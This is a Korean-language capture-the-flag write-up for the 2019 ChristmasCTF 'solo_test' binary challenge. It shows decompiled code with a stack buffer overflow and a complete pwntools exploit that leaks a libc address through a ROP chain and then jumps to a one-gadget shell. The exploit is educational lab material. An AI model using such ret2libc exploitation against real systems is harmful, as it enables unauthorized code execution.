Christmasctf Solo_test Writeup

LeeDoHyun · March 20, 2020

2019 ChristmasCTF 에 출제된 문제입니다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  banner();
  pain1();
  pain2();
  pain3();
  pain4();
  pain5();
  return solo();
}

main함수를 보면 pain1 ~ 5 까지 함수를 호출한다음 solo함수로 리턴하는데, pain1 ~ 5함수에서 공통적으로 strncmp로 확인하는 문자열을 맞춰준뒤 익스를 진행하면 될것같습니다.

ssize_t solo()
{
  char buf; // [rsp+0h] [rbp-50h]

  puts("\nYou passed my solo test!");
  printf("Reward --> ");
  return read(0, &buf, 0x200uLL);               // overflow
}

solo함수입니다. 여기서 read를 0x200만큼 받아서 오버플로우가 터지는데 이것을 활용하여 memory leak을 하고, 다시 solo함수로 리턴시켜서 원샷으로 풀면 됩니다.

from pwn import *

#context.log_level = "debug"
r = process("./solo_test")
e = ELF("./solo_test")
libc = e.libc

pop_rdi = 0x400b83
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
solo = e.symbols["solo"]

r.recvuntil("(1/5) Can you tell me who is solo?\n>> ")
r.sendline("Me")
r.recvuntil("2/5) Do you have a girlfriend now?\n>> ")
r.sendline("No")
r.recvuntil("(3/5) Do you meet your girlfriend or play CTF on X-MAS?\n>> ")
r.sendline("CTF")
r.recvuntil("(4/5) Have you EVER had a girlfriend?\n>> ")
r.sendline("Never")
r.recvuntil("(5/5) Can you make a girlfriend in future?\n>> ")
r.sendline("No")

payload = "A"*(0x50 + 0x8)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(solo)
r.sendline(payload)

puts_leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
base = puts_leak - libc.symbols["puts"]
oneshot = base + 0x4526a

info("puts leak = " + hex(puts_leak))
info("base addr = " + hex(base))
info("oneshot addr = " + hex(oneshot))

payload = "A"*(0x50 + 0x8)
payload += p64(oneshot)
payload += p64(0) * 10
r.sendline(payload)
r.interactive()

Twitter, Facebook